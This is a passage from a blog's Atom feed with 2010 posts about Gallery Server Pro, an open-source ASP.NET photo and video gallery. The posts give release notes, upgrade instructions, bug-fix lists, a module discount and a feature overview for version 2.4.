src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1726303300455137960</id><published>2010-12-13T13:59:00.001-06:00</published><updated>2010-12-13T13:59:51.445-06:00</updated><title type='text'>Tips for upgrading to a newer version of AjaxControlToolkit.dll</title><content type='html'>&lt;p&gt;GSP uses some clever AJAX functionality from the &lt;a href="http://ajaxcontroltoolkit.codeplex.com/"&gt;AJAX Control Toolkit&lt;/a&gt;. All versions of GSP (which, as of this writing, is at version 2.4) ship with version 1.0.10920.0 of AjaxControlToolkit.dll. This is the newest version that can run under .NET 2.0.&lt;/p&gt;  &lt;p&gt;For various reasons you might want to upgrade to a newer version of the toolkit. Because of versioning issues, there are some common pitfalls that can snag you. So I put together a little KB article to help explain the process and keep you out of the weeds (or help pull you out if you get sucked in). Click the link below.&lt;/p&gt;  &lt;p&gt;&lt;a title="INFO: Updating to a newer version of AjaxControlToolkit.dll" href="http://forum.galleryserverpro.com/default.aspx?g=posts&amp;amp;t=1391"&gt;INFO: Updating to a newer version of AjaxControlToolkit.dll&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1726303300455137960?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1726303300455137960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1726303300455137960' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1726303300455137960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1726303300455137960'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/12/tips-for-upgrading-to-newer-version-of.html' title='Tips for upgrading to a newer version of AjaxControlToolkit.dll'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2631372527477546609</id><published>2010-12-10T17:15:00.001-06:00</published><updated>2010-12-14T14:48:15.899-06:00</updated><title type='text'>Gallery Server Pro 2.4.4 Released</title><content type='html'>&lt;p&gt;Today I released another minor set of bug fixes – hopefully the last for a while. All three flavors of GSP have been revved to 2.4.4: open source stand-alone, DotNetNuke module, and the Microsoft Web Application Gallery version. Note that the MS WAG version will be made public as soon as Microsoft finishes their quality testing – hopefully that doesn’t take more than a couple weeks.&lt;/p&gt;  &lt;h4&gt;Upgrading the stand-alone version&lt;/h4&gt;  &lt;p&gt;Upgrading your gallery from 2.4.X is easy:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Copy the GalleryServerPro.XXXXX.dll files over the existing ones in your bin directory. &lt;/li&gt;    &lt;li&gt;Replace these files from one of the 2.4.4 compiled versions (doesn’t matter if you use the &lt;a href="http://www.galleryserverpro.com/download/GalleryServerPro_V2_4_4_x86.zip"&gt;32-bit&lt;/a&gt; or &lt;a href="http://www.galleryserverpro.com/download/GalleryServerPro_V2_4_4_x64.zip"&gt;64-bit&lt;/a&gt; version): &lt;/li&gt; &lt;/ol&gt;  &lt;ul&gt;   &lt;li&gt;\gs\script\mediaobjectview.js &lt;/li&gt;    &lt;li&gt;\gs\styles\gallery.css &lt;/li&gt;    &lt;li&gt;\gs\pages\admin\mediaobjects.ascx (not necessary if upgrading from 2.4.3) &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Because a javascript and CSS file have been updated, you may need to force a browser refresh to pick up the changes. Usually F5 does the trick, but Firefox may require CTRL-F5.&lt;/p&gt;  &lt;p&gt;To upgrade from 2.3, follow the instructions in the &lt;a title="Gallery Server Pro 2.4 QuickStart Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;2.4 QuickStart Guide&lt;/a&gt;.&lt;/p&gt;  &lt;h4&gt;Upgrading DotNetNuke&lt;/h4&gt;  &lt;p&gt;DotNetNuke upgrades are also easy – just log in as host and install the module as if you were installing it for the first time. DotNetNuke will notice it is an upgrade and update your site. Your existing gallery objects and data will be preserved.&lt;/p&gt;  &lt;h4&gt;Bug Fixes&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Album begin/end date may be one day earlier than entered by user.&lt;/li&gt;    &lt;li&gt;Upgrades from versions earlier than 2.3.3750 result in gallery referencing a non-existent jQuery script file.&lt;/li&gt;    &lt;li&gt;Adding or synching a video or audio file may hang when GSP Binary Pack is installed. &lt;/li&gt;    &lt;li&gt;Video or audio file does not always correctly play in Silverlight. &lt;/li&gt;    &lt;li&gt;Media object may have incorrect thumbnail when it's filename matches another one in album &lt;/li&gt;    &lt;li&gt;IE 7 and 8 users in certain cultures do not see drop shadow around media objects, and borders and drop shadows are not rendered at all in IE6 and earlier. &lt;/li&gt;    &lt;li&gt;Large amounts of space may appear to the left of a media object. &lt;/li&gt;    &lt;li&gt;User might get &amp;quot;Insufficient Permission&amp;quot; message after SQLite installation. &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2631372527477546609?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2631372527477546609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2631372527477546609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2631372527477546609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2631372527477546609'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/12/gallery-server-pro-244-released.html' title='Gallery Server Pro 2.4.4 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-705028032734061094</id><published>2010-12-02T19:57:00.001-06:00</published><updated>2010-12-04T07:08:34.433-06:00</updated><title type='text'>Gallery Server Pro 2.4.3 Released</title><content type='html'>&lt;p&gt;A number of bug fixes and a few changes to video behavior are included in this release. &lt;a title="Download Gallery Server Pro" href="http://www.galleryserverpro.com/download.aspx"&gt;Download it here&lt;/a&gt;. At the moment only the stand-alone version has been updated to 2.4.3, &lt;strike&gt;but I hope to have the DotNetNuke version updated within a few days.&lt;/strike&gt; &lt;font color="#800000"&gt;Update: The DNN version is now updated.&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Upgrading your gallery from 2.4.1 or 2.4.2 is easy – just copy the GalleryServerPro.XXXXX.dll files over the existing ones in your bin directory. Use the ones in the bin directory of the download named GalleryServerPro_V2_4_3_x86.zip or GalleryServerPro_V2_4_3_x64.zip.&lt;/p&gt;  &lt;p&gt;There is one minor bug not resolved by copying the DLLs. To fix a bug that prevents you from specifying zero for the maximum upload file size (which indicates there is no restriction), there is one more file to copy. In one of the zip files mentioned above, copy the file gs\pages\admin\mediaobjects.ascx over your existing one.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;New Features&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Added support for .f4v files &lt;/li&gt;    &lt;li&gt;Play .mp4, .m4v, and .mov files with Flash/FlowPlayer instead of Silverlight &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Bug Fixes&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Spaces are removed from the file name of a downloaded media object &lt;/li&gt;    &lt;li&gt;Flash videos don't work after upgrade to 2.4.1 or 2.4.2 (SQLite only) &lt;/li&gt;    &lt;li&gt;Install Wizard may tell user to manually update web.config file when it is not needed &lt;/li&gt;    &lt;li&gt;Error log fills with unnecessary messages when caching is disabled &lt;/li&gt;    &lt;li&gt;SQL upgrade from 2.3 may fail when multiple galleries are used &lt;/li&gt;    &lt;li&gt;Cannot set maximum upload file size to unlimited (0) &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;New Video Behavior&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;There is now support for playing .f4v files, which is the latest Flash video container. Also, several file types (.mp4, .m4v, and .mov) that had used Silverlight (or QuickTime) now use the FlowPlayer/Flash video player.&lt;/p&gt;  &lt;p&gt;Why the switch? The FlowPlayer video player has been working very well since GSP started using it a year or two ago. It is open source, has a large user base, and is easy to configure. Plus, it has a convenient full screen button that the Silverlight video player annoyingly does not have.&lt;/p&gt;  &lt;p&gt;And even though Silverlight now has about a 50% installation rate in browsers, it still pales in comparison to the 98% who have Flash. So, as much as I have been rooting for Silverlight, I think FlowPlayer/Flash has the edge here.&lt;/p&gt;  &lt;p&gt;If you prefer to use Silverlight, no problem. Just update the HtmlTemplate and ScriptTemplate columns for the relevant rows in the gs_BrowserTemplate table to revert to the values they had in earlier versions.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-705028032734061094?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/705028032734061094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=705028032734061094' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/705028032734061094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/705028032734061094'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/12/gallery-server-pro-243-released.html' title='Gallery Server Pro 2.4.3 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2881458042400051674</id><published>2010-11-29T09:55:00.001-06:00</published><updated>2010-11-29T10:03:05.219-06:00</updated><title type='text'>50% Off DotNetNuke Module Ends November 30</title><content type='html'>&lt;p&gt;&lt;a title="Gallery Server Pro DotNetNuke Module" href="http://www.snowcovered.com/snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;&lt;img style="background-image: none; border-right-width: 0px; margin: 0px 5px 0px 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="dnn_coupon_nov_2010" border="0" alt="dnn_coupon_nov_2010" align="left" src="http://lh5.ggpht.com/_qh4427KVFsk/TPPNB8y-ajI/AAAAAAAAAQ4/Um_7RqC4PqA/dnn_coupon_nov_2010%5B4%5D.png?imgmax=800" width="404" height="136" /&gt;&lt;/a&gt;To celebrate the inaugural release of the Gallery Server Pro DotNetNuke Module, I am offering 50% off the Enterprise Edition until November 30. That is tomorrow!&lt;/p&gt;  &lt;p&gt;&lt;a title="Gallery Server Pro DotNetNuke Module" href="http://www.snowcovered.com/snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;Grab it now&lt;/a&gt;. The Enterprise Edition includes all the features of the Professional version, plus the source code you can inspect and modify.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2881458042400051674?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2881458042400051674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2881458042400051674' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2881458042400051674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2881458042400051674'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/11/50-off-dotnetnuke-module-ends-november.html' title='50% Off DotNetNuke Module Ends November 30'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/TPPNB8y-ajI/AAAAAAAAAQ4/Um_7RqC4PqA/s72-c/dnn_coupon_nov_2010%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3400432825782651243</id><published>2010-11-24T12:07:00.001-06:00</published><updated>2010-11-24T13:38:24.063-06:00</updated><title type='text'>Bug fixes for 2.4.1 released</title><content type='html'>&lt;p&gt;Today I released 2.4.2, which fixes a few bugs that were found in the original 2.4.1 release. To apply, download the compiled version and copy all the GalleryServerPro.XXXXX.dll files over the existing ones in your bin directory. See below for an optional SQL update you may want to apply to your database.&lt;/p&gt;  &lt;p&gt;These bugs are fixed:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Login/logout buttons disappear and Gallery Control Settings page has incorrect values &lt;/li&gt;    &lt;li&gt;May receive a KeyNotFoundException when restoring a backup file &lt;/li&gt;    &lt;li&gt;(SQLite only) Cannot restore backup file that was created from 2.4.1 SQLite database &lt;/li&gt;    &lt;li&gt;(SQL Server only) Possible NullReferenceException when running upgrade wizard &lt;/li&gt;    &lt;li&gt;ImageMagick not used for TIF images &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Optional SQL update for TIF processing&lt;/h4&gt;  &lt;p&gt;In my last &lt;a title="Gallery Server Pro 2.4 released" href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.4-Released&amp;amp;id=7372905032415653158"&gt;blog post&lt;/a&gt; I described how ImageMagick is used to generate more accurate colors for TIF images. The trigger that tells GSP to use ImageMagick is the gallery setting ImageMagickFileTypes. In the 2.4.1 release, this setting does not include the TIF file type, so TIF images are processed with .NET rather than ImageMagick. The bug fix in the last bullet item above addresses the issue for new installations and users who upgrade from 2.3 to 2.4, but does not fix it if you moved from 2.4.1 to 2.4.2.&lt;/p&gt;  &lt;p&gt;If you are upgrading from 2.4.1, and you want to GSP to use ImageMagick for processing TIF images, run this SQL against your database (or manually update the table):&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000" face="Courier New"&gt;UPDATE gs_GallerySetting SET SettingValue = 'pdf,.txt,.eps,.psd,.tif,.tiff' WHERE SettingName = 'ImageMagickFileTypes'&lt;/font&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3400432825782651243?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3400432825782651243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3400432825782651243' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3400432825782651243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3400432825782651243'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/11/bug-fixes-for-241-released.html' title='Bug fixes for 2.4.1 released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-7372905032415653158</id><published>2010-11-23T15:50:00.001-06:00</published><updated>2010-12-17T11:19:48.280-06:00</updated><title type='text'>Gallery Server Pro 2.4 Released</title><content type='html'>&lt;p&gt;After several tireless months, last Friday I released the newest version of Gallery Server Pro. There is a new set of options for controlling the look and feel of the gallery, support for multiple galleries, new HTML 5 and CSS capabilities, performance improvements, and dozens of bug fixes.&lt;/p&gt;  &lt;p&gt;&lt;a title="Download Gallery Server Pro - Open Source Photo Gallery" href="http://www.galleryserverpro.com/download.aspx"&gt;Download it here&lt;/a&gt;. The &lt;a title="Download Gallery Server Pro - Open Source Video Gallery" href="http://www.galleryserverpro.com/download.aspx"&gt;source code is also available&lt;/a&gt; and can be opened in any version of Visual Studio 2005 or higher. The &lt;a title="Open Source Web Gallery Server" href="http://www.microsoft.com/web/gallery/galleryserverpro.aspx"&gt;Microsoft Web Application Gallery version&lt;/a&gt; will be available in a few weeks. I also need to update the Admin Guide. Until then, I put together a &lt;a title="Gallery Server Pro 2.4 QuickStart Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;QuickStart Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Side note: Since this version is nearly identical to the &lt;a title="Gallery Server Pro DotNetNuke Module - Gallery for photos, video, audio, and documents" href="http://www.snowcovered.com/Snowcovered2/Default.aspx?tabid=242&amp;amp;PackageID=19158"&gt;commercial DotNetNuke module&lt;/a&gt;, some of this blog post is copied from a &lt;a title="Announcing the Gallery Server Pro DotNetNuke module" href="http://www.galleryserverpro.com/blog.aspx?title=Release-Candidate-Available-for-DotNetNuke-Module&amp;amp;id=3939444767984192776"&gt;previous entry&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;New features covered in this post:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Auto slide show and other UI customizations &lt;/li&gt;    &lt;li&gt;Multiple galleries &lt;/li&gt;    &lt;li&gt;New concept: gallery administrator &lt;/li&gt;    &lt;li&gt;Video thumbnails &lt;/li&gt;    &lt;li&gt;Thumbnails from more file types &lt;/li&gt;    &lt;li&gt;More accurate TIFF colors &lt;/li&gt;    &lt;li&gt;Gallery Server Pro Binary Pack &lt;/li&gt;    &lt;li&gt;HTML 5 support &lt;/li&gt;    &lt;li&gt;Shorter media URLs &lt;/li&gt;    &lt;li&gt;CSS rounded corners and shadows &lt;/li&gt;    &lt;li&gt;Web farm support &lt;/li&gt;    &lt;li&gt;MOV files played in &lt;strike&gt;Silverlight&lt;/strike&gt; Flash instead of QuickTime &lt;/li&gt;    &lt;li&gt;Reorganized site admin pages &lt;/li&gt;    &lt;li&gt;Optional treeview navigation &lt;/li&gt;    &lt;li&gt;Increased limits for album and media object data &lt;/li&gt;    &lt;li&gt;Eliminated galleryserverpro.config &lt;/li&gt;    &lt;li&gt;Removed dependence on ASP.NET profile provider &lt;/li&gt;    &lt;li&gt;Improved install and upgrade wizards &lt;/li&gt;    &lt;li&gt;Upgrade warning: change in role constraint &lt;/li&gt;    &lt;li&gt;Where is version 2.4.0? &lt;/li&gt;    &lt;li&gt;New product key and option to hide footer &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Auto slide show and other UI customizations&lt;/h4&gt;  &lt;p&gt;Prior to 2.4, Gallery Server Pro had a single look – there was a header and footer, and the contents were either a thumbnail view of an album or a single view of a media object. This worked well for many users, but didn’t offer much flexibility when developers tried to integrate a gallery into an existing site.&lt;/p&gt;  &lt;p&gt;For example, one couldn’t automatically show a slide show of an album on the home page. Now you can:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1wbHAm9I/AAAAAAAAAOo/UXDJeuKYOfA/dnn_rc1%5B4%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;This screen shot – and several more below - are from the DotNetNuke version of Gallery Server Pro, but the stand-alone version works the same way. You can see the slide show in action on the home page of the online &lt;a title="DotNetNuke module for photos, video, audio, and documents" href="http://dnndemo.galleryserverpro.com"&gt;DotNetNuke Module Demo&lt;/a&gt;. This scenario, and many others, are made possible through a new Gallery Control Settings page in the Site admin area. Here is a screen shot of the actual settings used for the slideshow demo:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh6.ggpht.com/_qh4427KVFsk/TKSoaMqRjLI/AAAAAAAAAP8/0Xa3Qpq7gls/dnn_rc3%5B5%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;The key settings are:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;View mode&lt;/strong&gt; – By setting it to “Show a single media object”, we tell GSP to show one image at a time rather than a thumbnail view of an album. There is also a new treeview mode. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Default gallery object&lt;/strong&gt; – We set it to the album “United States Scenery”. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Display options&lt;/strong&gt; – We select the checkbox to override the default settings, then turn off most of the UI elements. We also turn on the option to start the slide show when the page loads. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;These settings offer a lot of flexibility for controlling how your gallery looks with just a few clicks of the mouse. Each setting has a helpful popup tooltip with info and advice:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh4.ggpht.com/_qh4427KVFsk/TKO1xDxUDnI/AAAAAAAAAOw/3k7hDvkdPD4/dnn_rc4%5B4%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;h4&gt;Multiple galleries&lt;/h4&gt;  &lt;p&gt;A gallery is a collection of albums and media objects that are bound together with a common set of settings, such as file storage location, watermark settings, image size, allowed file types, and whether user albums are enabled. Starting in 2.4, each web application can contain multiple galleries. This is a big difference from the pre-2.4 notion of multiple galleries, which allowed a single database to share galleries from multiple *applications*.&lt;/p&gt;  &lt;p&gt;The demo site illustrates the usefulness of multiple galleries. There, in a single web application, are five galleries to demonstrate all the major features, with each gallery roughly linked to each menu link. The galleries are managed in the new Gallery Manager:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh5.ggpht.com/_qh4427KVFsk/TKO1xeZkGdI/AAAAAAAAAO0/IcCY8UhUHLE/dnn_rc5%5B9%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;h4&gt;New concept: gallery administrator&lt;/h4&gt;  &lt;p&gt;Previous versions of GSP had site administrators, which were users who belonged to the System Administrators role. Those users had unrestricted access to the gallery. When I created the multiple gallery feature, it became apparent that some administrators would like to allow a user to manage one gallery but not others.&lt;/p&gt;  &lt;p&gt;For example, imagine you are an IT Administrator and you want to give the Marketing and Engineering departments their own galleries. Employee Bob can administer the Marketing gallery and Vino can control the Engineering gallery. Each can view – but not manage – the other gallery. The way to do this is to assign each user as a gallery administrator to their gallery and give them view-only access to the other gallery. This particular example is fleshed out in step-by-step detail in the &lt;a title="Gallery Server Pro DotNetNuke Module QuickStart Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;DotNetNuke Module QuickStart Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="marketing_admin_role" border="0" alt="marketing_admin_role" src="http://lh3.ggpht.com/_qh4427KVFsk/TOw3C-JLvOI/AAAAAAAAAQQ/9K_Gg8F-YqE/marketing_admin_role%5B4%5D.png?imgmax=800" width="485" height="380" /&gt;&lt;/p&gt;  &lt;p&gt;There are two main tasks that only a site admin can do:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Enter a product key and change application settings on the Site Settings – General page. &lt;/li&gt;    &lt;li&gt;Perform a backup and restore. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;A gallery admin can edit settings for their gallery and create, edit, and delete users and roles, but they can never make a change that affects a gallery they do not have permission to administer. In the example above, Bob can create a user and give them access to the Marketing gallery but not the Engineering gallery. Nor can Bob promote himself to a site admin. And he can’t remove Vino as gallery admin for the Engineering gallery. You get the idea.&lt;/p&gt;  &lt;h4&gt;Video thumbnails&lt;/h4&gt;  &lt;p&gt;Gallery Server Pro 2.4 now supports the extraction of thumbnail images from most videos. Below is an album showing thumbnails from WMV, AVI, FLV (Flash video), MP4, DIVX, ASF, and MOV. Notice that only the Shockwave Flash file (SWF) does not have a thumbnail.&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh3.ggpht.com/_qh4427KVFsk/TG6p1vWGMcI/AAAAAAAAAOY/efgXomnz_Go/DNN%20GSP%20install%2010%5B4%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;Video thumbnail extraction is made possible through the open source &lt;a title="Go to the home page of FFmpeg" href="http://ffmpeg.org/"&gt;FFmpeg&lt;/a&gt; utility. Installing it is as easy as copying a single .EXE file into the bin directory. Read the &lt;strong&gt;Gallery Server Pro Binary Pack&lt;/strong&gt; section below for more information.&lt;/p&gt;  &lt;p&gt;Note: Executing a .EXE utility requires Full Trust permission. If your hosting company does not allow this, Gallery Server Pro gracefully reverts to the generic video thumbnail icon. &lt;/p&gt;  &lt;h4&gt;Thumbnails from more file types&lt;/h4&gt;  &lt;p&gt;In addition to thumbnails from videos, GSP can now extract a thumbnail from these image and document formats: EPS, PSD, TXT, HTML, and PDF. Here is an example:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh4.ggpht.com/_qh4427KVFsk/TG6p1-lmijI/AAAAAAAAAOc/Gfe_S69XE7M/DNN%20GSP%20install%2011%5B4%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;The open source utilities GhostScript and ImageMagick are used to generate the thumbnails. As with FFmpeg, these require Full Trust on the server. More info is in the &lt;strong&gt;Gallery Server Pro Binary Pack&lt;/strong&gt; section below.&lt;/p&gt;  &lt;h4&gt;More accurate TIFF colors&lt;/h4&gt;  &lt;p&gt;A user alerted me to an issue several months ago where the .NET Framework messes up the colors of certain TIFF images when creating the thumbnail and optimized versions. Interestingly, it only happens on Windows Server operating systems – Vista and Win7 work correctly. Here is an example of how 2.3 created a thumbnail from a TIFF image on Win Server 2008:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="tiff_bad" border="0" alt="tiff_bad" src="http://lh3.ggpht.com/_qh4427KVFsk/TOw3DqxAP_I/AAAAAAAAAQU/wGvYMLFqE7o/tiff_bad%5B4%5D.png?imgmax=800" width="391" height="328" /&gt;&lt;/p&gt;  &lt;p&gt;Here is what it *should* look like, and how it now looks in 2.4:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="tiff_good" border="0" alt="tiff_good" src="http://lh5.ggpht.com/_qh4427KVFsk/TOw3E53Z8yI/AAAAAAAAAQY/FtWL1uTDsyg/tiff_good%5B4%5D.png?imgmax=800" width="392" height="328" /&gt;&lt;/p&gt;  &lt;p&gt;.NET does well with most TIFF files, but I believe it has trouble with CMYK formats. At any rate, the fix was to use ImageMagick for the conversion instead of .NET.&lt;/p&gt;  &lt;p&gt;This again requires the server to run in Full Trust. If not, GSP reverts to using .NET for the image conversion.&lt;/p&gt;  &lt;p&gt;I’d like to throw out a special thank you to &lt;a title="Home page of Paul Ecke Ranch" href="http://www.ecke.com"&gt;Paul Ecke Ranch&lt;/a&gt; who alerted me to this issue and generously donated $300 so I could focus on its resolution.&lt;/p&gt;  &lt;h4&gt;Gallery Server Pro Binary Pack&lt;/h4&gt;  &lt;p&gt;The previous features – more thumbnail support and better TIFF color processing, are made possible through three open source components:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.imagemagick.org"&gt;ImageMagick&lt;/a&gt; – Creates thumbnail images from EPS, PSD, TXT, and PDF files. It requires GhostScript to be able to create images from EPS and PDF files.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.ghostscript.com/"&gt;GhostScript&lt;/a&gt; – It knows about the internal format of EPS and PDF files.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ffmpeg.org"&gt;FFmpeg&lt;/a&gt; – Creates thumbnail images from video files.&lt;/p&gt;  &lt;p&gt;These utilities must be installed separately. ImageMagick and FFmpeg are EXE files that can simply be copied into the bin directory of the web application. GhostScript must be installed using a setup program. You can acquire these programs from the sites linked above or from any number of sites that redistribute them. For your convenience, I created a &lt;a title="Download Gallery Server Pro Binary Pack" href="http://www.galleryserverpro.com/download/"&gt;Gallery Server Pro Binary Pack&lt;/a&gt; that includes all three, including detailed instructions.&lt;/p&gt;  &lt;p&gt;Installing these utilities is optional. If they are not present, or if the web application is not running in Full Trust, Gallery Server Pro gracefully defaults to generic thumbnails and using .NET for TIFF processing.&lt;/p&gt;  &lt;p&gt;Note that ImageMagick also requires certain C++ components on the server. In many cases they will already be present, but if you run into any trouble, try installing the free Visual C++ 2010 Redistributable Package. A download link is included in the instructions in the download.&lt;/p&gt;  &lt;h4&gt;HTML 5 support&lt;/h4&gt;  &lt;p&gt;Most 